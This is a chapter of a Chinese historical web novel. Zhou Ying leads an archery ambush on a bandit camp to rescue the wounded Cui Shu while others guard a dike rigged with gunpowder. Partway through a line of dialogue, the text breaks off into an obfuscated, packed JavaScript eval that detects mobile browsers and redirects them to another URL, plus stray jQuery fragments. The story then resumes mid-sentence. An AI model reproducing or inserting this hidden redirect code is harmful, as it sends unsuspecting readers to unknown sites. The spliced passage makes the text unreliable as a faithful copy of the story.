斥候快马刚至县衙，周缨已整好衣冠，换好皮靴，候了多时。


    县衙中人无敢拦她者，她便光明正大地在门口听完全部汇报，而后返身进内院，敲响了束关的门。


    束关开门瞧见是她，愣了下才问：“周姑娘找我有事？”


    “你那里有稍轻些的弓么？”周缨不答反问。


    “周姑娘要弓何用？”


    “他给你安排的什么差使？”周缨微微垂目，掩下藏不住的心绪。


    束关踌躇一阵，老实道：“护您周全。”


    “只这一样？”


    束关点头。


    泪珠倏然滑落，周缨随手擦干，说话还含着丝鼻音：“不必了。堤坝更重要，你去帮二郎。”


    束关想也不想便拒道：“不可。”


    “一城百姓，天灾面前，人如草芥。”周缨向他摊手，“拿把弓予我，我会带些龙骧卫行事。”


    “周姑娘要做什么？”束关猜到几分，犹疑不定。


    两人交谈得有些久，崔则路过中庭，往这边走来，便听得她没有一丝迟疑的声音：“取道开阳县，越函关，直奔贼营。”


    “休得胡闹！斥候隔得远，只探出大概方位，不知贼人虚实，仓促前去，无异于送死。况函关虽建制后就已废弃，但当年之所以设关，便是因地势险要，寸步难行，更兼废弃已久，栈道年久失修，你有几分把握能在暴雨中闯关而过？”


    “贼人惧怕提前被察觉，早先将营地扎在宜令河北岸，但如果要溃堤淹城，大部分力量必然要调整布置到河岸南侧。咱们人少，从绥宁城外取道渡河绝无可能，但从上游开阳县渡河，翻越函关，直捣老巢则有可能。”


    “上游已在下雨，此刻奔开阳县，恐怕也难以渡河。况雨疾，穿越山林，路多险阻，怎么可能让你去？”崔则断然驳斥。


    “他定然下了弃他之令，但二郎定然不会弃他于不顾。二郎先时没有执意阻他，此刻便也不会阻我。”周缨肯定道，“你们崔家人的脾性，我算摸透了。”


    “束关，给我弓。”周缨声音厉了三分。


    “难道无他，你便不能独活？值得如此涉险。”崔则心口无端一阵绞痛。


    “他若横死，我不会殉他，仍会尽力保全自己，二郎放心。”


    “以少敌多，敌方准备充足，我们已失先机，胜算微乎其微。”周缨面目沉静，眼神中的毅然却越盛，“但我不能坐视他这样赴死，我有私心，还想搏上一搏。”


    面对这样的坦荡与剖白，崔则长叹一声：“你二人真是……”


    见他仍不表态，周缨又补道：“我会至开阳县再调当地巡检司官兵，还望二郎应允，予我印信，方便行事，并帮我找一个精通越山族土语且身手不错的百姓随行。”


    “三弟昨夜连夜请来了一个。”崔则到底没有阻她，传讯王举率五十龙骧卫相随。


    束关亦返身回房，取出一张铁胎弓并一架弩机，郑重交至她手上：“周姑娘当心。”


    最精锐的马队扬长而去，崔则站在县衙门口，目光追随着马队，慨叹道：“得她乃三弟之幸，望上天垂怜。”


    马蹄声驰远，崔则迅疾传令龙骧卫与厢军，即刻前往宜令河，赶至洪水来前，阻截贼人，排除火药。


    两队一行往北，一行往东出城，奔驰在旷野里。


    半个时辰后，往东那队已至斥候探回之地的南岸，分成两队沿河堤往上下游分别排查。


    一个半时辰后，周缨与王举驰至开阳县，执印信命县衙换马备船，并调集精通当地地形的巡检司差役同行。


    开阳县山区暴雨已降，山洪汇至宜令河，水位已在迅速上涨，王举率众抢在水位大涨之前弃马渡河。


    木船简陋，在浊浪里摇摇欲坠，周缨面色煞白，手捂胸口，强自压下胃里的恶心，心绪却无端飘远，思及他抢时间来绥宁县时，渡通宁河之场景，应当比此时还要惊险，于是稍稍安下心来。


    待船惊险靠岸，王举命众跟随当地差役一并冒雨穿越密林，翻越函关，从山林里疾冲而下，迅疾逼近贼人营地。


    与此同时，绥宁县境内，宜令河边上，束关率众寻到埋藏火药之地，正准备拆除引线，便遇藏身河畔密林的山匪伏击，双方真刀白刃拼杀起来。


    虽势力悬殊，但堤坝后便是数万百姓的性命与生计，数百官兵无一人敢退，皆奋力死战，竟然堪堪能打成平手。


    郑守谦盘踞在崖间，观战许久，召来匪首，吩咐其再调一半人手下山渡河支援。


    待援军下山，郑守谦慢悠悠走回营帐内，目视昏昏欲睡的崔述，冷嗤道：“你放得下心么？这般便能睡着？”


    崔述勉力掀开眼皮，勉强透过深色营帐辨了眼天色，知已近薄暮，然而还无噩耗传来，想来眼前之人还未得手。


    昨夜仓促与崔则商议之计，不知能否抵过此灾，但能多拖延一刻，城内的转移胜算便会大上一分，已近一日，若入夜后，此事再不成，伤亡应会降低不少。


    只是县城地势低矮，若水涨太急，恐怕还是避无可避，伤亡必然极重。


    而听这连绵不断的雨声便知，恐怕宜令河中水位已然不低了，若遇决堤，恐将民不聊生。


    他想得深远，并不曾看郑守谦一眼。


    郑守谦冷笑道：“你打的什么主意我清楚，但时间仓促，绥宁县地界不小，崔则不可能将百姓完全转移完。只要决堤，伤亡至少过半，你为主事者，定逃不脱口诛笔伐。你虽出族，株连不得崔家人，但崔则也在城内，一样死罪难逃。”


    腰腹间的伤实是极深，虽慢慢止了血，但先前失血过多，崔述失了大半力气，只能勉强维持着清醒，再无力应声。


    郑守谦也不再管他，复又回到外间，站在崖边继续远远观望战势。


    将近入夜，雨势越大，岸边仍未传来爆炸声，郑守谦心下渐生焦躁，然而河水已然高涨，此时要再点人渡河支援已是不可能。


    正思量间，上方山林里忽然传来一声诡异的嚎叫。


    仿佛大型野兽正张着血盆大口怒吼，伴着急雨与雷电，令整座山林都为之震颤。


    一道青白色的闪电劈开天幕，照亮被雨水冲刷得发亮的山岩。


    营地中正在休憩的众人精神为之一振，纷纷起身，探出营帐四下观望。


    然而那野兽的怒吼随着雨势增大变得愈发清晰，穿透密林传来，似立刻就要伸出利爪将林间猎物撕碎。


    营地边缘的越山族人绷直脊背，往后退了两步。


    郑守谦喝止道：“必是有人故弄玄虚，不要怕！”


    然而越山族人信奉山魈，认定山中有山神，此乃山神发怒，又听不懂汉话，顷刻间便往反方向退开三尺有余。


    郑守谦换越山族土语喝道：“站住！不想报仇了么？山神祠都被毁了，你们还怕什么？不杀了这些不敬山神的恶徒，山神才会真正降怒！”


    越山族人显然被说动了几分，细碎的脚步声纷纷顿止，可就在此时，那诡异的嚎叫声又响起来，雨势愈大，桐油火把被浇得忽明忽灭，衬得林中愈发诡异。


    在雷声暂歇的刹那，悠远的鹿鸣声自山林间传来，无端透出几分诡谲。


    众人不自觉地咽了咽口水，越山族人心惶惶，但顾忌着郑守谦的话，暂且还无人生出退意。


    双方正僵持间，营帐被掀开一条缝隙，崔述望过来，对上一双清亮的瞳孔。


    进来一个约莫六七岁的小童，为巨兽之怒吼所恐吓，躲进帐中，却不期里间有个浑身是血的生人，愣在原地。


    崔述强撑起精神唤他：“别怕，过来。”


    那小孩没有应声，但却鼓起勇气往里走来，停在距崔述三尺开外的地方。


    营帐中漆黑一片，伸手不见五指，崔述看不清他的神情，只能试探道：“你会不会说汉话？”


    那小孩不知听没听懂，总之没有应声。


    两相对峙间，外间幽远的鹿鸣声再起，幽绿的鬼火悬浮在空中，林间愈发诡异起来。


    越山族人犹豫再三，终于往后退开，气得郑守谦大骂：“一群废物！”


    山匪头子吐掉嚼烂的野草，嘲笑道：“阁下看重这帮蛮子，认为其身份能使官府避退，战力上也能帮上大忙，谁料这帮蛮子怕山鬼，见了鬼连刀也提不起来！”


    山匪附和而笑，一时山林中回荡着诡异的笑声。


    正当此时，闪电骤亮，一支弩箭随即破空而来，直接钉穿了一名山匪的喉咙。


    笑声戛然而止，山匪怒目拔刀，却被黑暗阻了视线，盲目张望间，闪电再起，箭雨随光急射而来，血肉被扎中的“噗噗”之声不绝于耳，哀嚎声四起。


    “这群王八羔子，背后伤人！”山匪头子命人点燃火把照亮，拔刀迎上，“有种出来，正面较量！”


    林间光线骤亮，更为密集的箭雨铺天盖地而来，中箭者不过一息间便口吐白沫，倒地抽搐。


    “箭上有毒，大家小心！”郑守谦边提醒山匪，边往营帐中赶。


    脚步声逼近，崔述再唤了那小孩一声，用稍显生硬的越山族语同他道：“告诉你的族人，官府并非有意损毁越神祠，真正毁祠之人就在你们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16321589|183129||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    之中。止战退走，官府会在明年越神祀之前为你们重新修好越神祠。”


    昨夜猜出敌人毁越神祠的因由，找来懂越山族语的百姓，仓促间习得这一句，不知有无作用，崔述冲他微微摆头，示意他快走。


    脚步声越发近，那小孩掉头就跑，将刚进营帐的郑守谦撞得一趔趄，郑守谦正要将其一把揪起，余光瞥见崔述正勉强坐直身子，不知在图谋些什么，当即也来不及管那小孩，大踏步往前，刚一拔出匕首，未及动手，营帐顶端突然坍塌，将二人压在其下。


    跛腿被砸，郑守谦痛得倒吸凉气，正欲站起身来，石块自林间滚落之声、山匪被砸中之声、吃痛哀嚎声以及方才那小孩惊恐的呼喊声纷至沓来，闯进耳膜。


    越山族头人穿过混乱的人群，将小孩抱起，问他消息从何而来，小孩边比划边解释，族人围在周围，等着头人的号令。


    半晌，头人命令道：“撤开三丈，不参战。”


    越山族常年生活在山林间，山间行动速度并不比这帮山匪慢，此时山匪陷于恶战，也无心再拦他们，只怒目而视上方，搜寻隐藏在密林中暂且遁形的敌人。


    上方，箭矢已尽，王举率众人以石块攻击敌人，不期然见对方一半人马忽然撤退，登时愣住，然后才看向伏在一枝悬空的榕树枝干上的周缨，叹道：“分析得还真没错，果真是两方势力，并不牢靠。还好将这越山族分化驱逐开了，不然顾忌着安抚之训，动起手来多有掣肘，来日也易因此被追责。”


    来时路上周缨才同他解释，之所以带一个精通越山族土语的百姓过来，便是为着拆散两方势力，既减难度，又减束缚。只是没想到，他们的分化之策才实施到一半，越山族竟当真退了。


    匪首实在受不了这样装神弄鬼的暗中攻击，命人迎着石块强行往上冲，要将敌人斩杀刀下。


    然而甫一冲上斜坡，便有更急的石块阵等着他们。


    匪首怒不可遏，忽地想起营中还有个人质，往这早被压塌的营帐走来，长刀在营帐上方捶打拍击，试图寻找活物，猛地拍在郑守谦的伤腿上，痛得郑守谦吃痛怒骂：“混账东西！”


    到底是财神爷，匪首不敢得罪，忙两下将帐顶划破，将他扶起。


    郑守谦指了指东边：“在那。”


    匪首慢慢往东挪移，脚下被绊了一下，当即俯身将崔述自帐下拖出，正当此时，一支弩箭急射而至，却偏了半寸，正中郑守谦脚边空地。


    山匪头子愣了须臾，看向弩箭射来的方向，暴喝而起，一刀便要割下崔述脑袋。


    霎时，可贯山海的又一箭凌空而至，贯穿了他的头颅。


    山匪不可置信地回头，看向斜上方那枝枝干粗壮的古木，而后轰然倒地。


    周缨看向王举，向他做了个多谢的手势。


    若非方才他急中生智放出的那一支掩护之箭，以她所在的角度，并不能如此精准地射中此人。


    双方已酣战了有一阵，龙骧卫秉持着能使诡计便绝不蛮斗的策略，引诱匪徒分散，而后再近身格杀或推至崖下，勉强能支撑着不败之势。


    山匪伤亡不小，此刻头目被杀，群龙无首，越山族人又退避三舍，战阵顿时混乱起来，王举一跃而下，指挥龙骧卫近身鏖战起来。


    方位已暴露，笨重的弩机不再适用，周缨换铁胎弓，搭箭上弦，直指郑守谦。


    郑守谦昂头看来，闪电照亮林间，周缨看清他唇边诡异的笑容，登时头皮发麻。


    冷箭离弦，却射偏了半寸。


    郑守谦大步上前，抄起山匪跌落在地的长刀，挥刀欲砍。


    弩箭再次射至，直取其要害，却在离弦的最后一刻故意射偏了两分。


    “噗”的一声，郑守谦胸腔间正中一箭，手中长刀轰然坠落。


    周缨将要跳出胸口的心重重落回胸膛之中，她能模糊辨出树下便是崔述，但来不及去探查他的情况，便连忙变换方位，取箭搭弦，再帮激战中的龙骧卫杀敌。


    持续将近半个时辰，这场厮杀才终于结束，剩余的山匪眼见不敌，仓促败退而走。


    周缨顾不得满手的伤口，手脚并用地从泥泞不堪的林地里摸爬下来，赶至崔述身旁。


    泥泞的地面上横七竖八地躺满尸体，大雨滂沱，浇得满地染红。


    崔述脸色惨白，显然伤势不轻，但还勉强保持着最后一丝神智，直到看见她安然出现，勉力微微扬起唇角。


    “没事了，堤坝那头应当也安全了，放心。”周缨嗓音沙哑得厉害。


    崔述终于阖上沉重的眼皮，放任自己陷入黑暗。